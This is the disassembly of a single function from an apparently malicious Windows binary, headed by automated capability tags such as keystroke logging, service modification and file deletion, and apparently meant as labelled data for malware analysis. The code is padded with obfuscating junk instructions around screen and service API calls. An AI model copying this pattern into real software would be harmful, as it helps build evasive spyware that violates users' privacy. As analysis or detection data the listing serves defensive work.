Function at 0x1002941d
Capabilities:
Accept command line arguments
Check os version
Delete file
Enumerate gui resources
Get common file path
Get disk information
Get graphical window text
Identify system language via api
Log keystrokes
Modify service
Query service status
Read .ini file
Start service

Disassembly:
mov eax, 0x1006e1c6
call fcn.1006db80
mov eax, 0x1120
call fcn.1006b7a0
push esi
push 0xfffffffffffffffc
mov dword [ebp - 0x50], ecx
xor eax, eax
pop ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x34], eax
push 3
mov dword [ebp - 0x3c], 0xfffffffa
mov byte [ebp - 0x59], dl
mov dword [ebp - 0x14], eax
pop esi
jmp 0x1002945f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xfe8], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10029452
mov eax, dword [ebp - 0x1c]
push ebx
push edi
mov dword [ebp - 0x34], eax
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ebx
jmp 0x10029491
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002948e
push eax
push 0x21d3
push eax
call dword [sym.imp.GDI32.dll_GetBitmapBits]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10029476
xor edi, edi
inc edi
or ecx, 0xffffffff
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x34], 0xfdb696
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x34], 0xbe92e3f9
mov dword [ebp - 0x34], 0x7392715e
mov dword [ebp - 0x34], 0x1bb000e2
mov dword [ebp - 0x34], 0xde467b47
mov dword [ebp - 0x14], eax
jmp 0x100294e2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb5c], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100294d1
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setne dl
mov dword [ebp - 0xb5c], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
imul ecx, edx, 0xcd33
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x44], 0xda439beb
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x24], 0x1a05132d
mov dword [ebp - 0x34], 0xb11f
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x100295a0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x814], 0x17c10977
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10029588
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100295b6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x514], 0x627e80a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100295a5
mov dword [ebp - 0x44], 0x8bbca631
xor ebx, ebx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
inc dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x810], eax
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x34]
imul ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
setne bl
xor edx, edx
cmp ecx, eax
setne dl
sub edx, ebx
sub edx, 0x261d573
cmp edx, 0xf30b
jle 0x1002960e
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x24], eax
je 0x10029610
mov ecx, edi
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x44]
push 2
setne dl
xor ecx, ecx
cmp edx, eax
pop ebx
setge cl
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0x514], eax
xor eax, eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002965e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xeec], 0x57fd5464
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10029646
xor eax, eax
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], eax
jl 0x1002967d
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x10029678
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x10029666
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002969d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1000], 0x5f70ad6f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10029685
xor eax, eax
mov dword [ebp - 0x20], 0xa4f833fc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x100296c4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf8], 0xa8e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100296ac
xor eax, eax
mov dword [ebp - 0x18], eax
push 0xfffffffffffffff7
pop ecx
cmp dword [ebp - 0x18], edi
jge 0x100296e3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x51c], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100296cf
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x1002978d
push 0xfffffffffffffffd
pop edi
mov dword [ebp - 0x1c], 0xc9d94031
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xf8]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0xf8]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xf8], ecx
test ecx, ecx
je 0x1002972f
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xf8]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xf8]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
neg ecx
cmp edi, ecx
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x20]
jl 0x10029764
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x51c], eax
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x100296f2
xor edi, edi
inc edi
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002979f
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
xor eax, eax
push 5
pop edx
push 4
mov dword [ebp - 0x24], eax
pop ecx
jmp 0x100299fa
mov dword [ebp - 0x34], 0xfa2f
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x258], edx
mov dword [ebp - 0x254], edx
mov dword [ebp - 0x250], edx
mov dword [ebp - 0x24c], edx
mov dword [ebp - 0x20], 0xfffffff7
mov dword [ebp - 0x34], 0xaafe497d
mov dword [ebp - 0x20], eax
jmp 0x100299d5
mov dword [ebp - 0x18], 0xafd94fe5
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x100299d2
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002981b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x548], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10029803
xor eax, eax
mov dword [ebp - 0x548], esi
cmp dword [ebp - 0x548], eax
jl 0x100299c9
mov dword [ebp - 0x30], 0x1bfedaac
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x258], 0
je 0x10029a2b
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002986a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x84c], 0xb650ebf0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10029852
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x10029894
mov eax, dword [ebp - 0x18]
xor ecx, ecx
or edx, 0xffffffff
mov eax, dword [ebp + eax*4 - 0x258]
cmp eax, edx
setge cl
add ecx, dword [ebp - 0x18]
imul ecx, dword [ebp - 0x18]
test ecx, ecx
jne 0x10029894
xor eax, eax
mov edx, eax
jmp 0x10029896
mov edx, edi
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x258]
mov eax, dword [ebp - 0x20]
imul ecx, edx
cmp ecx, dword [ebp + eax*4 - 0x258]
jle 0x100298bd
xor eax, eax
cmp dword [ebp - 0x548], eax
je 0x100298bf
mov edx, edi
jmp 0x100298c1
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x258]
cmp edx, eax
setne cl
sub ecx, dword [ebp - 0x258]
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x258]
mov eax, dword [ebp - 0x24c]
cmp eax, edi
mov eax, dword [ebp - 0x30]
setle cl
imul eax, ecx
cmp eax, dword [ebp - 0x20]
jl 0x1002990b
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
jmp 0x1002998e
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x258]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x258], ecx
mov eax, dword [ebp - 0x848]
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x848]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setne dl
xor ebx, ebx
cmp edx, eax
sete bl
sub ebx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp eax, ebx
setge cl
neg ecx
xor eax, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x28], eax
jmp 0x10029986
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x10029983
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jle 0x10029963
push 2
pop ebx
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x100299b8
push eax
push 0xab2
push 0x1aeb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec dword [ebp - 0x548]
jns 0x1002982d
push 4
xor eax, eax
pop ecx
dec dword [ebp - 0x18]
jns 0x100297f8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x100297e5
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x100299f1
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
xor eax, eax
inc dword [ebp - 0x24]
push 4
pop ecx
push 5
pop edx
cmp dword [ebp - 0x24], ebx
jle 0x100297ad
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10029a26
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1018], 0x5f70ad6f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10029a0e
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10029a69
or eax, 0xffffffff
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x100299c4
jmp 0x10029990
mov dword [ebp - 0x34], 0xfa2f
mov dword [ebp - 0x34], edi
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x10029a66
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10029a49
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10029a91
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1030], 0x5f70ad6f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10029a79
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10029ab6
mov dword [ebp - 0x34], 0xfa2f
mov dword [ebp - 0x34], edi
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x10029ab3
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10029a96
mov esi, dword [sym.imp.GDI32.dll_GetDIBits]
mov dword [ebp - 0x38], 0x53b26bdd
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xa
jl 0x10029b7f
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10029b03
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xacc], 0xfb6318d5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10029aeb
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jg 0x10029b69
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10029b31
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xacc], 0xd00585b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10029b19
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x10029b61
push 0x1bf4
push eax
push eax
push 0x43c
push 0xb15
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push 0xfffffffffffffff7
xor eax, eax
pop ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x10029b0e
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xa
push 0
pop eax
jge 0x10029adc
mov dword [ebp - 0x2c], edi
or ecx, 0xffffffff
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x34], 0xfdb696
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x34], 0xbe92e3f9
mov dword [ebp - 0x34], 0x7392715e
mov dword [ebp - 0x34], 0x1bb000e2
mov dword [ebp - 0x34], 0xde467b47
mov dword [ebp - 0x14], eax
jmp 0x10029bc8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xbc0], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10029bb7
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
push 0xfffffffffffffffd
setne dl
mov dword [ebp - 0xbc0], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
imul ecx, edx, 0xcd33
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xda439beb
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x24], 0x1a05132d
mov dword [ebp - 0x34], 0xb11f
pop eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10029c82
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8b4], 0x17c10977
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10029c6a
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10029c98
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x530], 0x627e80a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10029c87
mov dword [ebp - 0x44], 0x8bbca631
xor ebx, ebx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
inc dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x8b0], eax
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x34]
imul ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
setne bl
xor edx, edx
cmp ecx, eax
setne dl
sub edx, ebx
sub edx, 0x261d573
cmp edx, 0xf30b
jle 0x10029cf5
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10029cf5
xor ebx, ebx
mov ecx, eax
inc ebx
jmp 0x10029cfa
xor ebx, ebx
inc ebx
mov ecx, ebx
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x44]
push 2
setne dl
xor ecx, ecx
cmp edx, eax
pop edi
setge cl
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8b0]
mov dword [ebp - 0x530], eax
xor eax, eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10029d4b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe7c], 0x57fd5464
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10029d33
xor eax, eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x10029d6a
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x10029d65
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x10029d53
mov dword [ebp - 0x20], 0xa4f833fc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10029d91
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xec], 0xa8e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10029d79
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10029db0
push 0xfffffffffffffff7
pop ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5ec], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10029d9c
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x10029e62
push 0xfffffffffffffffd
xor ebx, ebx
pop esi
mov dword [ebp - 0x1c], 0xc9d94031
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xec]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0xec]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xec], ecx
test ecx, ecx
je 0x10029dfe
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xec]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xec]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
neg ecx
cmp esi, ecx
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x20]
jl 0x10029e33
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x5ec], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x10029dc1
mov esi, dword [sym.imp.GDI32.dll_GetDIBits]
xor ebx, ebx
inc ebx
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x10029e74
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10029e97
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1090], 0x5f70ad6f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10029e7f
xor eax, eax
push 5
pop edx
mov dword [ebp - 0x278], edx
mov dword [ebp - 0x274], edx
mov dword [ebp - 0x270], edx
mov dword [ebp - 0x26c], edx
mov dword [ebp - 0x20], 0xfffffff7
mov dword [ebp - 0x34], 0xaafe497d
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jg 0x1002a051
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
or esi, 0xffffffff
mov dword [ebp - 0x18], 0xafd94fe5
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
jl 0x1002a03c
push 4
pop edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x10029f0e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x600], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10029ef6
xor eax, eax
mov dword [ebp - 0x600], ecx
cmp dword [ebp - 0x600], eax
jl 0x1002a033
push 2
mov dword [ebp - 0x30], 0x1bfedaac
pop ecx
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x278], 0
je 0x1002a0f6
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x10029f60
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x85c], 0xb650ebf0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10029f48
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x10029f87
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x278]
cmp eax, esi
setge cl
add ecx, dword [ebp - 0x18]
imul ecx, dword [ebp - 0x18]
test ecx, ecx
jne 0x10029f87
xor eax, eax
mov edx, eax
jmp 0x10029f89
mov edx, ebx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x278]
mov eax, dword [ebp - 0x20]
imul ecx, edx
cmp ecx, dword [ebp + eax*4 - 0x278]
jle 0x10029fb0
xor eax, eax
cmp dword [ebp - 0x600], eax
je 0x10029fb2
mov edx, ebx
jmp 0x10029fb4
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x278]
cmp edx, eax
setne cl
sub ecx, dword [ebp - 0x278]
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x278]
mov eax, dword [ebp - 0x26c]
cmp eax, ebx
mov eax, dword [ebp - 0x30]
setle cl
imul eax, ecx
cmp eax, dword [ebp - 0x20]
jl 0x1002a072
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002a01f
push eax
push 0xab2
push 0x1aeb
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec dword [ebp - 0x600]
jns 0x10029f20
push 3
pop ecx
push 4
xor eax, eax
pop edx
dec dword [ebp - 0x18]
jns 0x10029eeb
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jle 0x10029ed5
mov esi, dword [sym.imp.GDI32.dll_GetDIBits]
push 2
pop edi
mov dword [ebp - 0x44], eax
push 0xfffffffffffffffe
pop edx
cmp dword [ebp - 0x44], edi
jg 0x1002a5f6
or esi, 0xffffffff
mov dword [ebp - 0x34], 0xfffffffd
mov dword [ebp - 0x14], eax
jmp 0x1002a126
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x278]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x278], ecx
mov eax, dword [ebp - 0x858]
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0x858]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setne dl
xor ebx, ebx
cmp edx, eax
sete bl
sub ebx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp eax, ebx
setge cl
xor eax, eax
neg ecx
xor ebx, ebx
mov dword [ebp - 0x28], ecx
inc ebx
mov dword [ebp - 0x28], eax
jmp 0x1002a0ec
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002a0e9
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x1002a0cd
jmp 0x10029ff9
mov dword [ebp - 0x34], esi
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002a02b
jmp 0x10029ffb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xadc], 0xfffffffc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002a115
mov eax, dword [ebp - 0xad8]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002a146
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
jmp 0x1002a170
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002a172
push 0x929
push 0x2d1
push 0x1e25
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
push 0xfffffffffffffffe
pop edx
xor eax, eax
mov dword [ebp - 0x34], 0xfa2f
mov dword [ebp - 0x18], 6
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x34], 0x48110cbb
mov dword [ebp - 0x34], 0x218670fc
push 4
pop ecx
